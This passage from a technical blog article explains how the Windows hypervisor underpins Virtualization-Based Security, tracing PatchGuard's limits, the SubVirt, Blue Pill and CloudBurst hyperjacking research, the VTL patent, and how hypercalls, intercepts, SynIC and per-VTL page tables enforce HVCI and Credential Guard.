&lt;p&gt;The intuition is simple. PatchGuard is a piece of code. It lives in the kernel&apos;s virtual address space at some page. It owns a timer that re-runs it periodically. It maintains a randomization seed for which structures it checks next. It has a callback path into &lt;code&gt;KeBugCheckEx&lt;/code&gt; if it detects tampering. Every one of those four assets -- the code page, the timer callback, the randomization seed, the bug-check path -- is a kernel data structure or a kernel virtual address. An attacker with Ring-0 code execution can locate each of them by searching the same kernel address space PatchGuard searches. They can patch the callback so the timer no-ops. They can patch the seed so the randomization is predictable. They can patch the bug-check path so it reports success. They can do all of this with a sequence of plain &lt;code&gt;mov&lt;/code&gt; instructions. PatchGuard cannot defend against this, because PatchGuard&apos;s defenses live in the same place its attacker&apos;s writes do.&lt;/p&gt;

PatchGuard and its attacker are colleagues, not adversaries. They share an office. The office is `ntoskrnl.exe`&apos;s virtual address space, and there is no key on the door.
&lt;p&gt;This is the &lt;em&gt;same-privilege paradox&lt;/em&gt;. It is not an implementation bug. It does not yield to better obfuscation, more randomization, or harder-to-find timers. It is an architectural ceiling. A defense at privilege level $P$ cannot be enforced against an attacker who also runs at privilege level $P$, because the defender&apos;s state lives in the attacker&apos;s address space. The defender can be made &lt;em&gt;expensive&lt;/em&gt; to find; it cannot be made impossible to find, because the attacker has the same instructions, the same address-space view, and the same MMU privileges as the defender.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; The same-privilege paradox is a property of where the defense &lt;em&gt;lives&lt;/em&gt;, not of how clever the defense is. PatchGuard&apos;s authors did add randomization. They did add multiple decoy callbacks. They did add cryptographically derived integrity checks. None of those reductions changes the basic fact that the attacker, holding the same Ring-0 privilege, can locate and edit each of them. The architectural fix is not better PatchGuard. The architectural fix is moving the defender to a privilege level the attacker cannot reach.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Once the paradox is named, the defender&apos;s choice is binary. Either give up on having a defense at all -- treat Ring 0 as a free-fire zone where any malware that gets there has won -- or move the defender to a privilege level &lt;em&gt;above&lt;/em&gt; Ring 0, at a hardware boundary the attacker&apos;s &lt;code&gt;mov&lt;/code&gt; instructions cannot cross. Microsoft picked the second. It is the only architecturally honest choice.&lt;/p&gt;
&lt;p&gt;To make it work, Microsoft needed three things. The first was a hypervisor already deployed on every Windows install. They had that since 2008. The second was a way to put a piece of Windows itself -- code, data, secrets -- &lt;em&gt;inside&lt;/em&gt; the hypervisor&apos;s protection without spawning a separate VM, because spawning a separate VM doubles the system&apos;s resource cost and forces every Windows process to choose between living on the normal side or the secure side. That required an architectural idea that did not yet exist in 2010: a way to split a single partition into two privilege levels, each with its own SLAT mapping and its own register state. The third was a way to ensure the hypervisor itself could not be silently replaced or rolled back beneath the OS. That required a hardware-rooted measurement -- a DRTM event -- that the OS could attest to.&lt;/p&gt;
&lt;p&gt;The architectural idea is the subject of section 6. The DRTM measurement is the subject of section 11. Both of them required a decade-long conversation about whether the &lt;em&gt;hypervisor itself&lt;/em&gt; could be trusted at all -- a conversation that ran in parallel during the same years and that briefly seemed to argue the opposite case. We turn to that conversation next.&lt;/p&gt;
&lt;h2&gt;5. The Hyperjacking Era -- SubVirt, Blue Pill, and CloudBurst&lt;/h2&gt;
&lt;p&gt;While Microsoft was finishing Hyper-V, the security community was establishing that a hypervisor was not just a defense -- it was also the most powerful possible attacker against the OS sitting above it. Three demonstrations in three years made the point unmistakable.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;SubVirt.&lt;/strong&gt; In May 2006, Samuel King and Peter Chen at the University of Michigan, joined by Yi-Min Wang, Chad Verbowski, Helen Wang, and Jacob Lorch at Microsoft Research, presented &quot;SubVirt: Implementing Malware with Virtual Machines&quot; at IEEE S&amp;amp;P [@king-subvirt-2006]. Their construction was a &lt;em&gt;Virtual Machine Based Rootkit&lt;/em&gt; (VMBR). A privileged installer running inside a legitimate OS installed a malicious VMM at boot time; on the next reboot, the malicious VMM ran first, brought up the original OS as a guest underneath it, and gained the privileged position of seeing every CPU instruction, every memory access, and every I/O the OS performed. The original OS had no architectural way to tell it was no longer the most-privileged software on the box. SubVirt was demonstrated against Windows XP (using Microsoft Virtual PC as the malicious VMM substrate) and against Linux (using VMware Workstation), specifically to show that the technique was not tied to any one operating system or any one hypervisor product.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Blue Pill.&lt;/strong&gt; Three months later, at Black Hat USA 2006, Joanna Rutkowska of COSEINC demonstrated &quot;Subverting Vista Kernel for Fun and Profit&quot; [@wp-blue-pill]. Her tool, codenamed &lt;em&gt;Blue Pill&lt;/em&gt;, took a step beyond SubVirt by doing the VMM insertion at &lt;em&gt;runtime&lt;/em&gt; rather than at boot. The technique: a Ring-0 driver, running inside an already-booted Windows install on an AMD-V capable host, executed &lt;code&gt;VMRUN&lt;/code&gt; against an attacker-controlled Virtual Machine Control Block (VMCB) whose initial state matched the current physical CPU. The CPU dropped out of SVM root mode and re-entered as a guest under the attacker&apos;s VMM. The OS continued running normally, with no boot-loader modification and no reboot.&lt;/p&gt;
&lt;p&gt;By 2007, Rutkowska and Alexander Tereshkin returned to Black Hat USA with the more polished &quot;IsGameOver(,) Anyone?&quot; presentation, refining the technique and addressing the early critics&apos; detection ideas [@wp-blue-pill].Rutkowska&apos;s marketing claim that Blue Pill was &quot;100% undetectable&quot; attracted a public counter-effort: in 2007, Edgar Barbosa, Nate Lawson, Peter Ferrie, and Tom Ptacek all proposed detection techniques relying on side channels (timing artifacts of trapped instructions, TSC skew, structural differences in how &lt;code&gt;RDTSC&lt;/code&gt; behaves under VT-x). The claim softened in subsequent publications, but the underlying point survived: a hostile thin hypervisor below a victim OS can be made arbitrarily difficult to detect from inside that OS, and the only architecturally clean way to know what you are running under is to measure the boot chain before the OS starts.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;CloudBurst.&lt;/strong&gt; At Black Hat USA 2009, Kostya Kortchinsky of Immunity Inc. presented CLOUDBURST. It was the first publicly demonstrated arbitrary-code-execution guest-to-host escape against a commercial hypervisor: a heap overflow in VMware&apos;s emulated SVGA-II graphics adapter, tracked as CVE-2009-1244 [@nvd-cve-2009-1244]. A guest VM, executing entirely inside a VMware-managed user-mode process on the host, could overflow a buffer in that process and gain host code execution. CloudBurst&apos;s lasting operational lesson was not the specific bug but the &lt;em&gt;attack surface&lt;/em&gt;: device emulation -- not the trap-and-emulate core of the hypervisor -- is the largest piece of guest-attacker-controlled code in any commercial VMM. Every Hyper-V guest-to-host escape Microsoft has shipped a patch for since 2018 lands in either this device-emulation surface or the hypercall input-validation surface that mediates the same kinds of structured guest-controlled input.&lt;/p&gt;

flowchart TD
    subgraph Before[&quot;Before hyperjacking&quot;]
        OS1[&quot;Victim OS&quot;]
        FW1[&quot;Firmware (UEFI)&quot;]
        HW1[&quot;Hardware&quot;]
        OS1 --&amp;gt; FW1
        FW1 --&amp;gt; HW1
    end
    subgraph After[&quot;After hyperjacking&quot;]
        OS2[&quot;Victim OS (now a guest)&quot;]
        VMM[&quot;Hostile VMM (SubVirt / Blue Pill)&quot;]
        FW2[&quot;Firmware (UEFI)&quot;]
        HW2[&quot;Hardware&quot;]
        OS2 --&amp;gt; VMM
        VMM --&amp;gt; FW2
        FW2 --&amp;gt; HW2
    end
&lt;p&gt;The three demonstrations established a difficult dual truth. The hypervisor is the most powerful defender against an OS-level attacker, &lt;em&gt;and&lt;/em&gt; it is the most powerful attacker against an OS-level defender. The same primitive can play either role; which role it plays in any given system depends only on &lt;em&gt;whose&lt;/em&gt; hypervisor it is and whether the OS above it can prove that. SubVirt-style attacks did not require Microsoft to invent anything new -- they only had to be a possibility -- to force Microsoft into a design constraint: any &quot;hypervisor as security primitive&quot; architecture has to start by being &lt;em&gt;the only&lt;/em&gt; hypervisor on the box, with a measurement of the hypervisor binary recorded in a &lt;a href=&quot;https://paragmali.com/blog/the-tpm-in-windows-one-primitive-twenty-five-years-and-the-c/&quot; rel=&quot;noopener&quot;&gt;TPM platform configuration register&lt;/a&gt; so that any malicious VMBR underneath could be detected at attestation time. This is the role that System Guard Secure Launch (DRTM) plays in the architecture, and we will return to it in section 11.&lt;/p&gt;

Blue Pill (offense) and VBS (defense) are architecturally identical. Each is a thin Type-1 hypervisor that interposes between firmware and OS. Each owns the CPU&apos;s virtualization mode, the second-level page tables, and the IOMMU. Each is invisible to the OS unless the OS can prove what is underneath it. The only differences between them are whose hypervisor it is, whether it was measured at load time, and what it does with its privilege. The defense is the offense, run by the right people, in the right order, and attested to.
&lt;p&gt;By 2010 the security community had agreed: the hypervisor is the most powerful primitive in the system, and whoever owns the SLAT page tables owns the box. Joanna Rutkowska&apos;s Invisible Things Lab launched Qubes OS, an explicitly hypervisor-rooted security OS, on April 7, 2010 [@qubes-introducing-2010]. Microsoft owned the SLAT page tables. They had a hypervisor on every Windows install. They had a server-consolidation product. What they did not yet have was a &lt;em&gt;reason&lt;/em&gt; to re-purpose any of it for security. The reason was already being filed at the United States Patent and Trademark Office. The priority date was September 17, 2013.&lt;/p&gt;
&lt;h2&gt;6. The Pivot -- VSM, VTLs, and the Hepkin-Kishan Patent&lt;/h2&gt;
&lt;p&gt;On September 17, 2013, David Hepkin and Arun Kishan filed United States patent application 14/186,415, which would issue on August 30, 2016 as US Patent 9,430,642 B2 [@us9430642b2-patent]. The patent&apos;s title, &quot;Providing virtual secure mode with different virtual trust levels,&quot; reads like marketing now because the words it introduced -- &quot;Virtual Trust Level,&quot; &quot;VTL,&quot; &quot;Virtual Secure Mode&quot; -- became Microsoft&apos;s own canonical terminology. In 2013 the words did not exist. The patent describes, in 2013, exactly what Microsoft shipped twenty-two months later in Windows 10 build 10240 [@ms-tlfs-vsm].&lt;/p&gt;
&lt;p&gt;The patent&apos;s claim language is unusually specific. It teaches a virtual-machine manager that makes &quot;&lt;em&gt;multiple different virtual trust levels available to virtual processors of a virtual machine&lt;/em&gt;&quot;; it teaches that &quot;&lt;em&gt;different memory access protections (such as the ability to read, write, and/or execute memory) can be associated with different portions of memory (e.g., memory pages) for each virtual trust level&lt;/em&gt;&quot;; and it teaches that &quot;&lt;em&gt;the virtual trust levels are organized as a hierarchy with a higher level virtual trust level being more privileged than a lower virtual trust level.&lt;/em&gt;&quot; Each of those phrases is now a feature of the shipping Microsoft hypervisor.&lt;/p&gt;

A hypervisor-managed privilege level inside a single partition. Each VTL has its own SLAT mapping (so the same machine page can be readable in one VTL and absent in another), its own virtual-processor register state (so a VTL transition is a context switch, not a procedure call), and its own interrupt subsystem (so interrupts targeted at one VTL do not preempt code running in another). VTLs are hierarchical: a higher VTL can read all of a lower VTL&apos;s memory, but not vice versa. The shipping Microsoft hypervisor implements two VTLs (VTL0 = Normal world, VTL1 = Secure world); the architecture admits up to sixteen [@ms-tlfs-vsm].
&lt;p&gt;Windows 10 RTM on July 29, 2015, and Windows Server 2016, shipped VBS atop the &lt;em&gt;existing&lt;/em&gt; Hyper-V hypervisor [@wp-windows-10]. The architectural innovation -- the thing the patent was for -- was that VTL0 (Normal world, containing the NT kernel, user mode, and LSASS) and VTL1 (Secure world, containing the Secure Kernel and Isolated User Mode trustlets) ran &lt;em&gt;inside the same partition&lt;/em&gt; rather than in two separate partitions. VBS is not a second VM. It is a per-VTL SLAT split inside the root partition, plus a per-VTL register-state snapshot, plus a per-VTL interrupt delivery surface. The hypervisor switches SLAT contexts on VTL transitions, exactly as it would switch SLAT contexts on a partition switch -- but the switch happens inside a single partition&apos;s address space, so there is no extra VM scheduling and no extra OS image to manage.&lt;/p&gt;

flowchart TD
    subgraph Root[&quot;Root partition&quot;]
        subgraph VTL0[&quot;VTL0 -- Normal world&quot;]
            NT[&quot;NT kernel (ntoskrnl.exe)&quot;]
            User[&quot;User mode (lsass.exe, applications)&quot;]
        end
        subgraph VTL1[&quot;VTL1 -- Secure world&quot;]
            SK[&quot;Secure Kernel (securekernel.exe)&quot;]
            IUM[&quot;Isolated User Mode trustlets&quot;]
            LSAISO[&quot;LSAISO.EXE&quot;]
            VTPM[&quot;vTPM trustlet&quot;]
            IUM --- LSAISO
            IUM --- VTPM
        end
    end
    HV[&quot;Microsoft Hypervisor (hvix64 / hvax64)&quot;]
    HW[&quot;Hardware (CPU, RAM, IOMMU, TPM)&quot;]
    VTL0 -. &quot;Secure call (hypercall + SynIC)&quot; .-&amp;gt; VTL1
    VTL1 --&amp;gt; HV
    VTL0 --&amp;gt; HV
    HV --&amp;gt; HW
&lt;p&gt;The Hyper-V Top-Level Functional Specification, chapter 15, names the architectural facts verbatim. &quot;&lt;em&gt;VSM achieves and maintains isolation through Virtual Trust Levels (VTLs). VTLs are enabled and managed on both a per-partition and per-virtual processor basis.&lt;/em&gt;&quot; &quot;&lt;em&gt;Virtual Trust Levels are hierarchical, with higher levels being more privileged than lower levels.&lt;/em&gt;&quot; &quot;&lt;em&gt;Architecturally, up to 16 levels of VTLs are supported; however a hypervisor may choose to implement fewer than 16 VTL&apos;s. Currently, only two VTLs are implemented.&lt;/em&gt;&quot; The C-level definition &lt;code&gt;#define HV_NUM_VTLS 2&lt;/code&gt; is published in the same specification [@ms-tlfs-vsm]. Two VTLs are what ships; the architecture has room for more.&lt;/p&gt;

VSM enables operating system software in the root and guest partitions to create isolated regions of memory for storage and processing of system security assets. Access to these isolated regions is controlled and granted solely through the hypervisor, which is a highly privileged, highly trusted part of the system&apos;s Trusted Compute Base (TCB). -- Microsoft, *Hyper-V Top-Level Functional Specification*, chapter 15 [@ms-tlfs-vsm]
&lt;p&gt;This is the second insight the article is built around: VBS is not a re-architecture. It is a re-purposing. The hypervisor was already on every Windows install for unrelated reasons. The 2015 pivot did not require new hardware, new VMs, or new CPUs. It required a new way to &lt;em&gt;organize&lt;/em&gt; what was already there -- two SLAT mappings instead of one, two register snapshots instead of one, a secure-call ABI on top of the SynIC -- and a Windows-side Secure Kernel binary to run inside the new VTL1 view. The patent gave the design its formal expression; the engineering had been waiting since 2008 for the right architectural insight.David Hepkin spent over a decade on the NT kernel architecture team before the VSM design; Arun Kishan was an NT kernel architect and is now Microsoft&apos;s Corporate Vice President for the Operating Systems Platform group. Neither is a virtualization specialist by background. Their patent is, in retrospect, a kernel-team idea about how to put a piece of the kernel itself behind a hardware boundary the kernel cannot cross -- exactly the kind of design that an architect who had lived inside &lt;code&gt;ntoskrnl.exe&lt;/code&gt; for years would invent.&lt;/p&gt;
&lt;p&gt;Alex Ionescu&apos;s Black Hat USA 2015 deck &quot;Battle of SKM and IUM: How Windows 10 Rewrites OS Architecture&quot; reverse-engineered the entire VSM stack within four weeks of Windows 10 RTM [@ionescu-bh-2015]. The vocabulary Ionescu introduced has become the canonical research language for talking about VBS: VTL as &quot;synthetic ring level managed by the hypervisor&quot;; &lt;em&gt;trustlets&lt;/em&gt; for the user-mode processes that run inside VTL1&apos;s Isolated User Mode; Signature Level 12 plus the IUM EKU &lt;code&gt;1.3.6.1.4.1.311.10.3.37&lt;/code&gt; as the loader&apos;s signing requirement. Microsoft&apos;s own developer documentation now uses the same terms [@ms-iso-user-mode-trustlets].&lt;/p&gt;
&lt;p&gt;The pivot, then, was not a sudden re-architecture. It was the cash-out of a deliberate multi-year engineering plan that began at least twenty-two months before Windows 10 RTM. To see what VBS actually enforces -- and which hypervisor primitive backs each piece of that enforcement -- we need to walk the hypervisor&apos;s public surface. There are five surfaces. They are the architectural body of the article.&lt;/p&gt;
&lt;h2&gt;7. Architecture Tour -- The Hypervisor&apos;s Public Surface&lt;/h2&gt;
&lt;p&gt;What does the Windows hypervisor actually look like as a piece of software? It is a small kernel, on the order of one to two hundred thousand lines of C and C++ by community estimate; Microsoft has not published a primary line count. It has five externally visible surfaces, all of which are documented in the Hyper-V Top-Level Functional Specification (TLFS) v6.0b [@ms-tlfs-pdf]. We walk them in turn.&lt;/p&gt;
&lt;h3&gt;7.1 Partitions, VMBus, and the VSP/VSC pair&lt;/h3&gt;
&lt;p&gt;A &lt;em&gt;partition&lt;/em&gt; is the hypervisor&apos;s unit of isolation. From the Microsoft architecture page: &quot;&lt;em&gt;The Microsoft hypervisor must have at least one parent, or root, partition, running Windows. The virtualization management stack runs in the parent partition and has direct access to hardware devices. The root partition then creates the child partitions which host the guest operating systems&lt;/em&gt;&quot; [@ms-hyperv-architecture]. The root partition is a full Windows install with privileged hypercalls and direct access to hardware; each child partition is a guest VM with only the hardware the root has chosen to expose.&lt;/p&gt;
&lt;p&gt;A guest VM does I/O over the VMBus. A network packet, for example, travels from the guest application down to the guest&apos;s Windows NDIS stack; through the synthetic NIC miniport driver (the VSC) in the guest&apos;s kernel; over the VMBus message channel; into the network VSP in the root partition; into the root&apos;s real NDIS stack; into the physical NIC driver; out the wire. The hypervisor&apos;s role in this chain is structural: it owns the VMBus message channel, the SynIC interrupts that notify the VSP and VSC of new traffic, and the per-partition SLAT mappings that decide which bytes either side can read.&lt;/p&gt;
&lt;p&gt;The architectural implication is that &lt;em&gt;device emulation lives in the root partition, not in the hypervisor binary&lt;/em&gt;. The TCB the hypervisor binary itself has to protect is narrow. The TCB the root partition&apos;s drivers have to protect is much wider -- but those drivers live in normal Windows kernel mode, where Microsoft has thirty years of tooling. This is why almost every public Hyper-V CVE since 2018 has landed in &lt;code&gt;vmswitch.sys&lt;/code&gt;, &lt;code&gt;storvsp.sys&lt;/code&gt;, or the NT Kernel Integration VSP, rather than in &lt;code&gt;hvix64.exe&lt;/code&gt; itself.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; Putting device emulation in the root partition means the hypervisor binary does not need to parse Ethernet frames, SCSI commands, USB descriptors, or graphics-adapter command rings. The trade-off is that the root partition becomes part of the TCB -- a root-partition kernel-mode bug is a hypervisor-equivalent break -- but the small hypervisor binary itself can be reviewed, fuzzed, and reasoned about as a single piece of code.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;7.2 The hypercall ABI&lt;/h3&gt;
&lt;p&gt;Hypercalls are how partitions request services from the hypervisor. The TLFS documents two flavors. A &lt;em&gt;fast&lt;/em&gt; hypercall passes its parameters inline in CPU registers: on x64, &lt;code&gt;rcx&lt;/code&gt; carries a 64-bit hypercall input value (the low 16 bits are the call code; the upper 48 bits are a control word with fields for the Fast flag, variable-header size, Rep Count, and Rep Start Index), &lt;code&gt;rdx&lt;/code&gt; carries the first input parameter, and &lt;code&gt;r8&lt;/code&gt; carries the second. A &lt;em&gt;slow&lt;/em&gt; hypercall instead passes the GPA (guest physical address) of an input-parameter page in &lt;code&gt;rdx&lt;/code&gt;, and the GPA of an output-parameter page in &lt;code&gt;r8&lt;/code&gt;; the actual parameter content lives in those pages. The instruction that triggers the hypercall is &lt;code&gt;vmcall&lt;/code&gt; on Intel and &lt;code&gt;vmmcall&lt;/code&gt; on AMD; the hypervisor maps both onto the same internal entry point [@ms-tlfs-pdf].&lt;/p&gt;

A guest-to-hypervisor call. The guest issues `vmcall` (Intel) or `vmmcall` (AMD); the CPU traps via VM-EXIT into the hypervisor in VMX root mode; the hypervisor reads the call code from `rcx`, reads the inputs from registers (fast) or from a GPA-pointed page (slow), services the request, writes outputs back, and returns via VM-ENTRY. Hypercalls are the only legitimate way for a partition to invoke hypervisor services [@ms-tlfs-pdf].
&lt;p&gt;{&lt;code&gt;// A JavaScript model of the rcx hypercall input value layout. // In a real hypercall the guest sets rcx, rdx, r8 and issues vmcall / vmmcall. function packHypercallInput({ callCode, fastFlag, varHeaderSize, isNested, repCount, repStartIdx }) {   // rcx layout (TLFS section 3 &quot;Hypercall Interface&quot;, verbatim bit map)   //   bits  0..15  Call Code   //   bit      16  Fast (1 = inline params in rdx/r8)   //   bits 17..26  Variable header size (in QWORDs)   //   bits 27..30  RsvdZ   //   bit      31  Is Nested   //   bits 32..43  Rep Count   //   bits 44..47  RsvdZ   //   bits 48..59  Rep Start Index   //   bits 60..63  RsvdZ   let rcx = 0n;   rcx |= BigInt(callCode) &amp;amp; 0xFFFFn;   if (fastFlag) rcx |= 1n &amp;lt;&amp;lt; 16n;   rcx |= (BigInt(varHeaderSize) &amp;amp; 0x3FFn) &amp;lt;&amp;lt; 17n;   if (isNested) rcx |= 1n &amp;lt;&amp;lt; 31n;   rcx |= (BigInt(repCount) &amp;amp; 0xFFFn) &amp;lt;&amp;lt; 32n;   rcx |= (BigInt(repStartIdx) &amp;amp; 0xFFFn) &amp;lt;&amp;lt; 48n;   return rcx; } // HvCallPostMessage = 0x005C, fast hypercall (TLFS section 11) const rcx = packHypercallInput({   callCode: 0x005C,   fastFlag: 1,   varHeaderSize: 0,   isNested: 0,   repCount: 0,   repStartIdx: 0, }); console.log(&apos;rcx = 0x&apos; + rcx.toString(16).padStart(16, &apos;0&apos;)); // Output: rcx = 0x000000000001005c&lt;/code&gt;}&lt;/p&gt;
&lt;p&gt;The call-code space is small and well-documented: a few hundred codes, each one a structured request with typed inputs and outputs. The hypercall path is also where the most consequential 2024 Hyper-V CVE lived. CVE-2024-21407 was a use-after-free in &lt;code&gt;hvix64.exe&lt;/code&gt;&apos;s handling of a specific file-operation hypercall, the rare case where the bug was in the hypervisor binary itself rather than in a root-partition driver [@nvd-cve-2024-21407].&lt;/p&gt;
&lt;h3&gt;7.3 Intercepts&lt;/h3&gt;
&lt;p&gt;Intercepts are how the hypervisor virtualizes guest behavior. The TLFS distinguishes four categories: &lt;em&gt;instruction&lt;/em&gt; intercepts (&lt;code&gt;CPUID&lt;/code&gt;, MSR reads/writes, I/O-port instructions), &lt;em&gt;exception&lt;/em&gt; intercepts (page faults, general protection faults), &lt;em&gt;memory-access&lt;/em&gt; intercepts (a guest tries to read or write a specific guest-physical-address region), and &lt;em&gt;partition-state&lt;/em&gt; intercepts (a guest hits a state that the hypervisor wants to be notified about). Each is configured per-partition through the Intel VMCS execution-control bits or the AMD VMCB control fields [@ms-tlfs-pdf].&lt;/p&gt;

A configurable hypervisor notification on a specific guest event. The hypervisor programs the VMCS or VMCB to fire a VM-EXIT when the guest issues a particular instruction, raises a particular exception, accesses a particular memory region, or transitions to a particular state. Intercepts are the policy mechanism that lets the hypervisor implement device emulation, security checks, and VTL transitions [@ms-tlfs-pdf].
&lt;p&gt;For VBS, the load-bearing intercept is the memory-access intercept. When VTL0 code tries to access a region whose VTL0 SLAT mapping is unreadable or unwritable, the access traps to the hypervisor with the offending GPA; the hypervisor can deliver the intercept to the VTL1 Secure Kernel as a &lt;em&gt;secure call&lt;/em&gt;, letting VTL1 see what VTL0 was trying to do and decide whether to allow it. This is how HVCI&apos;s W^X enforcement is wired: a VTL0 page that is marked writable in VTL0&apos;s SLAT is marked non-executable in the same SLAT; an attempt to switch the same page to executable becomes a memory-access intercept that VTL1 must approve.&lt;/p&gt;
&lt;h3&gt;7.4 The Synthetic Interrupt Controller (SynIC)&lt;/h3&gt;
&lt;p&gt;The Synthetic Interrupt Controller, SynIC, is the hypervisor&apos;s per-virtual-processor event delivery surface. Each VP has 16 Synthetic Interrupt Source (SINT) lines, a message page (where the hypervisor places message-shaped events), an event-flag page (where it places bit-flag events), and a set of synthetic timers. SynIC is the bus on which VMBus traffic between VSP and VSC moves; it is also the bus on which VTL transitions between VTL0 and VTL1 are delivered inside the root partition [@ms-tlfs-pdf].&lt;/p&gt;

A hypervisor-emulated interrupt controller, parallel to the hardware APIC, that delivers hypervisor-originated events to a virtual processor. Each VP has 16 SINT lines, a message page, an event-flag page, and synthetic timers. VMBus signaling rides on SynIC; secure-call delivery between VTL0 and VTL1 rides on SynIC; vTPM, virtual-PCI, and other paravirtualized device events ride on SynIC [@ms-tlfs-pdf].
&lt;p&gt;For VBS, the secure-call ABI -- the way VTL0 code asks VTL1 to do something -- is built on SynIC. A VTL0 caller writes a request into a shared message page, signals a SINT, and yields the CPU; the hypervisor switches SLAT context to VTL1, delivers the message, and lets VTL1 read the request. When VTL1 finishes, it signals a SINT back to VTL0 and the hypervisor switches contexts again. Credential Guard&apos;s whole communication path between VTL0 LSASS and VTL1 LSAISO is one of these secure-call channels.&lt;/p&gt;
&lt;h3&gt;7.5 Memory and per-VTL SLAT&lt;/h3&gt;
&lt;p&gt;The last surface is also the most important: memory. Guest physical addresses (GPAs) are translated to system physical addresses (SPAs) by per-partition SLAT page tables. The hypervisor has exclusive control of these tables; no partition, including the root, can read or modify them directly. For VBS specifically, the hypervisor maintains &lt;em&gt;two&lt;/em&gt; SLAT mappings per partition -- one for VTL0 and one for VTL1 -- and switches between them on VTL transitions.&lt;/p&gt;

flowchart LR
    GPA[&quot;Guest physical address (GPA)&quot;]
    SLAT0[&quot;VTL0 SLAT mapping&quot;]
    SLAT1[&quot;VTL1 SLAT mapping&quot;]
    SPA[&quot;System physical address (SPA)&quot;]
    HV[&quot;Hypervisor (owns both SLAT trees)&quot;]
    GPA --&amp;gt;|VTL0 active| SLAT0
    GPA --&amp;gt;|VTL1 active| SLAT1
    SLAT0 --&amp;gt;|&quot;normal pages&quot;| SPA
    SLAT1 --&amp;gt;|&quot;secret pages, +rwx&quot;| SPA
    SLAT0 -.-&amp;gt;|&quot;VTL1 secret pages: not present&quot;| SPA
    HV -.-&amp;gt;|&quot;switches context on VTL transition&quot;| SLAT0
    HV -.-&amp;gt;|&quot;switches context on VTL transition&quot;| SLAT1
&lt;p&gt;This is the architectural reason VTL0 kernel mode, even with full Ring-0 code execution, cannot read or execute VTL1 memory. The VTL0 page-table walker on a load from a VTL1-only page does not see the page at all; the SLAT walker on the host returns &lt;em&gt;no mapping&lt;/em&gt;; the hardware MMU raises an EPT/NPT violation; the hypervisor handles the violation according to the VTL0 partition&apos;s intercept policy. In the security-relevant case, the hypervisor delivers an access-denied result to VTL0 and continues. There is no kernel-mode &lt;code&gt;mov&lt;/code&gt; instruction sequence that can defeat this, because the gating happens in hardware page-table walks that VTL0 kernel mode cannot influence.&lt;/p&gt;
&lt;p&gt;Five surfaces. Two of them -- the hypercall ABI and the device-emulation paths that surface over VMBus -- are where every public Hyper-V escape since 2018 has lived. The other three (intercepts, SynIC, per-VTL SLAT) are the substrate on which VBS, HVCI, Credential Guard, and System Guard Secure Launch are built. We turn to those next.&lt;/p&gt;
&lt;h2&gt;8. How the Hypervisor Enforces Each VBS Feature&lt;/h2&gt;
&lt;p&gt;The hypervisor itself does not know anything about credentials, code signing, application allowlisting, or DMA protection. It knows about partitions, VTLs, intercepts, SLAT entries, and hypercalls. Each Windows security feature is built by &lt;em&gt;composing&lt;/em&gt; those primitives in a specific way. The mapping is precise and worth walking, because it is what makes the substrate a &lt;em&gt;security&lt;/em&gt; primitive rather than just a virtualization product [@ms-hardware-root-of-trust].&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;HVCI / Memory Integrity.&lt;/strong&gt; &lt;a href=&quot;https://paragmali.com/blog/the-windows-secure-kernel/&quot; rel=&quot;noopener&quot;&gt;Hypervisor-protected Code Integrity&lt;/a&gt; is the most consequential VBS feature on a per-byte basis: it changes Windows from a system that lets the kernel execute any signed driver to one where the kernel cannot execute &lt;em&gt;any&lt;/em&gt; page until VTL1 has approved it. VTL1&apos;s code-integrity service inspects every kernel-mode page mapping change request before the SLAT entry that would make the page executable in VTL0 is granted. The W^X invariant -- a single page can be writable or executable, but never both -- is enforced not by NT kernel cooperation but by the per-VTL SLAT, exactly as described in section 7.5. An NT-kernel attempt to mark a writable page executable becomes a memory-access intercept that VTL1&apos;s CI service evaluates [@ms-enable-vbs-hvci]. The hypervisor primitives composed: per-VTL SLAT + memory-access intercepts + secure-call ABI.&lt;/p&gt;

A user-mode process that runs inside VTL1&apos;s Isolated User Mode (IUM). Trustlets must be signed with the Windows System Component Verification certificate (Signature Level 12) and carry the IUM EKU `1.3.6.1.4.1.311.10.3.37`. The shipping inbox trustlets include `LSAISO.EXE` (Credential Guard), `VMSP.EXE` (host side of virtual TPM), and the vTPM provisioning trustlet [@ms-iso-user-mode-trustlets, @ionescu-bh-2015].
&lt;p&gt;&lt;strong&gt;Credential Guard.&lt;/strong&gt; &lt;code&gt;LSAISO.EXE&lt;/code&gt; -- the LSA-Isolated trustlet -- runs in VTL1 Isolated User Mode. NTLM password hashes and Kerberos Ticket-Granting Tickets that LSASS used to keep in normal VTL0 memory are moved to VTL1 memory that VTL0 cannot read. VTL0 LSASS performs credential operations by sending a request to LSAISO over a secure-call channel mediated by the hypervisor&apos;s SynIC; LSAISO does the cryptographic work and returns a result. The plaintext of the credential never leaves VTL1. This is why a Ring-0 attacker on a Credential Guard-enabled Windows install cannot dump LSASS hashes -- they aren&apos;t in LSASS [@ms-iso-user-mode-trustlets]. The hypervisor primitives composed: per-VTL SLAT (to hide LSAISO&apos;s memory) + SynIC (to deliver secure calls) + intercepts (to catch VTL0 attempts to access LSAISO memory). See the sibling &lt;a href=&quot;https://paragmali.com/blog/ntlmless-the-death-of-ntlm-in-windows/&quot; rel=&quot;noopener&quot;&gt;Credential Guard / NTLMless&lt;/a&gt; article for VTL1 internals.&lt;/p&gt;

The VTL0-to-VTL1 calling convention. A VTL0 caller fills in a shared parameter page, signals a SynIC interrupt configured for VTL transition, and yields. The hypervisor switches SLAT context to VTL1, delivers the message, and lets the Secure Kernel dispatch it via `IumInvokeSecureService` to a registered VTL1 service. On return, the hypervisor switches contexts back. The whole round-trip is mediated by hypervisor primitives the calling VTL cannot bypass [@ionescu-bh-2015].
